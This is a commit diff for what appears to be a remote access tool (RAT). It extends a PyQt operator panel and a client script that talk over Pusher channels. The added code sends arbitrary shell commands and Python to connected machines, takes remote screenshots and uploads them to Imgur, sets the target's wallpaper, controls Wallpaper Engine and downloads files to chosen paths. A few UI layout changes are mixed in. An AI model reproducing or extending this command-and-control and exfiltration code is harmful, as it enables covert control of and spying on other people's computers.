python and shell commands
This commit is contained in:
@@ -98,13 +98,13 @@ def handle_menu_click(text: str) -> None:
|
||||
"""
|
||||
index = {
|
||||
"Menu": [open_menu, None],
|
||||
"Devices": [ui.pagesWidget.setCurrentIndex, 1],
|
||||
"Screenshot": [ui.pagesWidget.setCurrentIndex, 2],
|
||||
"Wallpaper": [ui.pagesWidget.setCurrentIndex, 3],
|
||||
"Console": [ui.pagesWidget.setCurrentIndex, 4],
|
||||
"Python": [ui.pagesWidget.setCurrentIndex, 5],
|
||||
"Download": [ui.pagesWidget.setCurrentIndex, 6],
|
||||
"Settings": [ui.pagesWidget.setCurrentIndex, 7]
|
||||
"Devices": [ui.pagesWidget.setCurrentIndex, 0],
|
||||
"Screenshot": [ui.pagesWidget.setCurrentIndex, 1],
|
||||
"Wallpaper": [ui.pagesWidget.setCurrentIndex, 2],
|
||||
"Console": [ui.pagesWidget.setCurrentIndex, 3],
|
||||
"Python": [ui.pagesWidget.setCurrentIndex, 4],
|
||||
"Download": [ui.pagesWidget.setCurrentIndex, 5],
|
||||
"Settings": [ui.pagesWidget.setCurrentIndex, 6]
|
||||
}
|
||||
index[text][0](index[text][1])
|
||||
|
||||
@@ -120,6 +120,7 @@ def handle_ping(data) -> None:
|
||||
|
||||
|
||||
def on_logs(data):
|
||||
print(data)
|
||||
ui.logsPytoon.append(data)
|
||||
ui.logsConsole.append(data)
|
||||
ui.downloadLogs.append(data)
|
||||
@@ -144,17 +145,23 @@ def take_screenshot() -> None:
|
||||
client.trigger('admin-' + str(client_id), 'python', f"""
|
||||
imgur_image = daun.screenshot.upload_to_imgur("{Settings.get_settings().get('client_id')}")
|
||||
client.trigger('client-{client_id}', 'screenshot', imgur_image)
|
||||
client.trigger('client-{client_id}', 'logs', "Received screenshot: " + imgur_image)
|
||||
log("Received screenshot: " + imgur_image)
|
||||
""")
|
||||
|
||||
|
||||
def on_screenshot(data):
|
||||
print("on screenshot")
|
||||
image = QtGui.QImage()
|
||||
image.loadFromData(requests.get(data).content)
|
||||
ui.screenshotLabel.setPixmap(QtGui.QPixmap(image))
|
||||
|
||||
|
||||
def we_controller(button):
|
||||
client.trigger('admin-' + str(client_id), 'python', f"""
|
||||
daun.wallpaperengine.control_we("{button.text().lower()}")
|
||||
log("Received we command: {button.text().lower()}")
|
||||
""")
|
||||
|
||||
|
||||
def connect_to_rat() -> None:
|
||||
"""
|
||||
Connects to rat based on selected id
|
||||
@@ -211,11 +218,29 @@ ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentIte
|
||||
ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui))))
|
||||
ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher())
|
||||
ui.connectButton.clicked.connect(lambda: connect_to_rat())
|
||||
ui.availableDevices.itemDoubleClicked.connect(lambda: connect_to_rat())
|
||||
ui.pingButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'ping', 'ping'))
|
||||
ui.clearPythonLogs.clicked.connect(lambda: clear_logs())
|
||||
ui.clearConsoleLogs.clicked.connect(lambda: clear_logs())
|
||||
ui.clearDlLogsButton.clicked.connect(lambda: clear_logs())
|
||||
ui.takeScreenshotButton.clicked.connect(lambda: take_screenshot())
|
||||
ui.setWallpaperButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f"""
|
||||
daun.wallpaper.set_wallpaper("{ui.wallpaperUrlBox.text()}")
|
||||
log("Wallpaper set to: {ui.wallpaperUrlBox.text()}")
|
||||
"""))
|
||||
ui.pauseWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.pauseWallpaperEngineButton))
|
||||
ui.playWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.playWallpaperEngineButton))
|
||||
ui.stopWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.stopWallpaperEngineButton))
|
||||
ui.muteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.muteWallpaperEngineButton))
|
||||
ui.unmuteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.unmuteWallpaperEngineButton))
|
||||
ui.wallpaperScreenshotButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f"""
|
||||
daun.wallpaper.set_wallpaper(daun.screenshot.save_screenshot())
|
||||
log("Screenshot set as wallpaper")
|
||||
"""))
|
||||
ui.sendCommandButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'command',
|
||||
ui.commandBox.text()))
|
||||
ui.execPythonButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'python',
|
||||
ui.pythonScriptEditor.toPlainText()))
|
||||
|
||||
# Handling closing of the window to exit whole program
|
||||
sys.exit(app.exec_())
|
||||
|
||||
@@ -381,22 +381,6 @@ class Ui_MainWindow(object):
|
||||
sizePolicy.setHeightForWidth(self.pagesWidget.sizePolicy().hasHeightForWidth())
|
||||
self.pagesWidget.setSizePolicy(sizePolicy)
|
||||
self.pagesWidget.setObjectName("pagesWidget")
|
||||
self.startPage = QtWidgets.QWidget()
|
||||
self.startPage.setObjectName("startPage")
|
||||
self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.startPage)
|
||||
self.verticalLayout_6.setContentsMargins(0, 0, 0, 0)
|
||||
self.verticalLayout_6.setSpacing(0)
|
||||
self.verticalLayout_6.setObjectName("verticalLayout_6")
|
||||
self.dLogo = QtWidgets.QLabel(self.startPage)
|
||||
self.dLogo.setStyleSheet("font: 166pt \"Comic Sans MS\";\n"
|
||||
"color: rgb(40, 40, 40);")
|
||||
self.dLogo.setObjectName("dLogo")
|
||||
self.verticalLayout_6.addWidget(self.dLogo, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
|
||||
self.choosePanelLabel = QtWidgets.QLabel(self.startPage)
|
||||
self.choosePanelLabel.setStyleSheet("color: rgb(70, 70, 70);")
|
||||
self.choosePanelLabel.setObjectName("choosePanelLabel")
|
||||
self.verticalLayout_6.addWidget(self.choosePanelLabel, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
|
||||
self.pagesWidget.addWidget(self.startPage)
|
||||
self.devicesPage = QtWidgets.QWidget()
|
||||
self.devicesPage.setObjectName("devicesPage")
|
||||
self.devicesButtonLayout = QtWidgets.QVBoxLayout(self.devicesPage)
|
||||
@@ -576,6 +560,10 @@ class Ui_MainWindow(object):
|
||||
self.downloadUrl.setMinimumSize(QtCore.QSize(0, 30))
|
||||
self.downloadUrl.setObjectName("downloadUrl")
|
||||
self.verticalLayout_10.addWidget(self.downloadUrl, 0, QtCore.Qt.AlignTop)
|
||||
self.pathToFileDownload = QtWidgets.QLineEdit(self.downloadFilePage)
|
||||
self.pathToFileDownload.setMinimumSize(QtCore.QSize(0, 30))
|
||||
self.pathToFileDownload.setObjectName("pathToFileDownload")
|
||||
self.verticalLayout_10.addWidget(self.pathToFileDownload)
|
||||
self.downloadButton = QtWidgets.QPushButton(self.downloadFilePage)
|
||||
self.downloadButton.setMinimumSize(QtCore.QSize(0, 30))
|
||||
self.downloadButton.setObjectName("downloadButton")
|
||||
@@ -660,7 +648,7 @@ class Ui_MainWindow(object):
|
||||
self.saveSettingsButton.setObjectName("saveSettingsButton")
|
||||
self.gridLayout.addWidget(self.saveSettingsButton, 1, 0, 1, 1)
|
||||
self.pagesWidget.addWidget(self.settingsPage)
|
||||
self.horizontalLayout.addWidget(self.pagesWidget, 0, QtCore.Qt.AlignTop)
|
||||
self.horizontalLayout.addWidget(self.pagesWidget)
|
||||
MainWindow.setCentralWidget(self.centralwidget)
|
||||
|
||||
self.retranslateUi(MainWindow)
|
||||
@@ -691,8 +679,6 @@ class Ui_MainWindow(object):
|
||||
item = self.leftMenu.item(7)
|
||||
item.setText(_translate("MainWindow", "Settings"))
|
||||
self.leftMenu.setSortingEnabled(__sortingEnabled)
|
||||
self.dLogo.setText(_translate("MainWindow", "D"))
|
||||
self.choosePanelLabel.setText(_translate("MainWindow", "Choose panel in left side, scroll menu to see more"))
|
||||
self.connectButton.setText(_translate("MainWindow", "Connect"))
|
||||
self.pingButton.setText(_translate("MainWindow", "Ping"))
|
||||
self.reconRefreshButton.setText(_translate("MainWindow", "Reconnect and refresh"))
|
||||
@@ -714,6 +700,7 @@ class Ui_MainWindow(object):
|
||||
self.execPythonButton.setText(_translate("MainWindow", "Execute"))
|
||||
self.clearPythonLogs.setText(_translate("MainWindow", "Clear logs"))
|
||||
self.downloadUrl.setPlaceholderText(_translate("MainWindow", "File url"))
|
||||
self.pathToFileDownload.setPlaceholderText(_translate("MainWindow", "Output file path"))
|
||||
self.downloadButton.setText(_translate("MainWindow", "Download"))
|
||||
self.downloadLogs.setHtml(_translate("MainWindow", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
|
||||
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
|
||||
|
||||
@@ -474,7 +474,7 @@ QListWidget:item:selected {
|
||||
</item>
|
||||
</widget>
|
||||
</item>
|
||||
<item alignment="Qt::AlignTop">
|
||||
<item>
|
||||
<widget class="QStackedWidget" name="pagesWidget">
|
||||
<property name="sizePolicy">
|
||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
||||
@@ -485,46 +485,6 @@ QListWidget:item:selected {
|
||||
<property name="currentIndex">
|
||||
<number>0</number>
|
||||
</property>
|
||||
<widget class="QWidget" name="startPage">
|
||||
<layout class="QVBoxLayout" name="verticalLayout_6">
|
||||
<property name="spacing">
|
||||
<number>0</number>
|
||||
</property>
|
||||
<property name="leftMargin">
|
||||
<number>0</number>
|
||||
</property>
|
||||
<property name="topMargin">
|
||||
<number>0</number>
|
||||
</property>
|
||||
<property name="rightMargin">
|
||||
<number>0</number>
|
||||
</property>
|
||||
<property name="bottomMargin">
|
||||
<number>0</number>
|
||||
</property>
|
||||
<item alignment="Qt::AlignHCenter|Qt::AlignVCenter">
|
||||
<widget class="QLabel" name="dLogo">
|
||||
<property name="styleSheet">
|
||||
<string notr="true">font: 166pt "Comic Sans MS";
|
||||
color: rgb(40, 40, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>D</string>
|
||||
</property>
|
||||
</widget>
|
||||
</item>
|
||||
<item alignment="Qt::AlignHCenter|Qt::AlignVCenter">
|
||||
<widget class="QLabel" name="choosePanelLabel">
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(70, 70, 70);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Choose panel in left side, scroll menu to see more</string>
|
||||
</property>
|
||||
</widget>
|
||||
</item>
|
||||
</layout>
|
||||
</widget>
|
||||
<widget class="QWidget" name="devicesPage">
|
||||
<layout class="QVBoxLayout" name="devicesButtonLayout">
|
||||
<item>
|
||||
@@ -951,6 +911,19 @@ color: rgb(40, 40, 40);</string>
|
||||
</property>
|
||||
</widget>
|
||||
</item>
|
||||
<item>
|
||||
<widget class="QLineEdit" name="pathToFileDownload">
|
||||
<property name="minimumSize">
|
||||
<size>
|
||||
<width>0</width>
|
||||
<height>30</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="placeholderText">
|
||||
<string>Output file path</string>
|
||||
</property>
|
||||
</widget>
|
||||
</item>
|
||||
<item alignment="Qt::AlignTop">
|
||||
<widget class="QPushButton" name="downloadButton">
|
||||
<property name="minimumSize">
|
||||
|
||||
@@ -26,6 +26,10 @@ client = pusher.Pusher(
|
||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||
|
||||
|
||||
def log(message):
|
||||
client.trigger(f'client-{client_id}', 'logs', message)
|
||||
|
||||
|
||||
def on_command(data):
|
||||
global client_id
|
||||
print("Shell command received")
|
||||
|
||||
Reference in New Issue
Block a user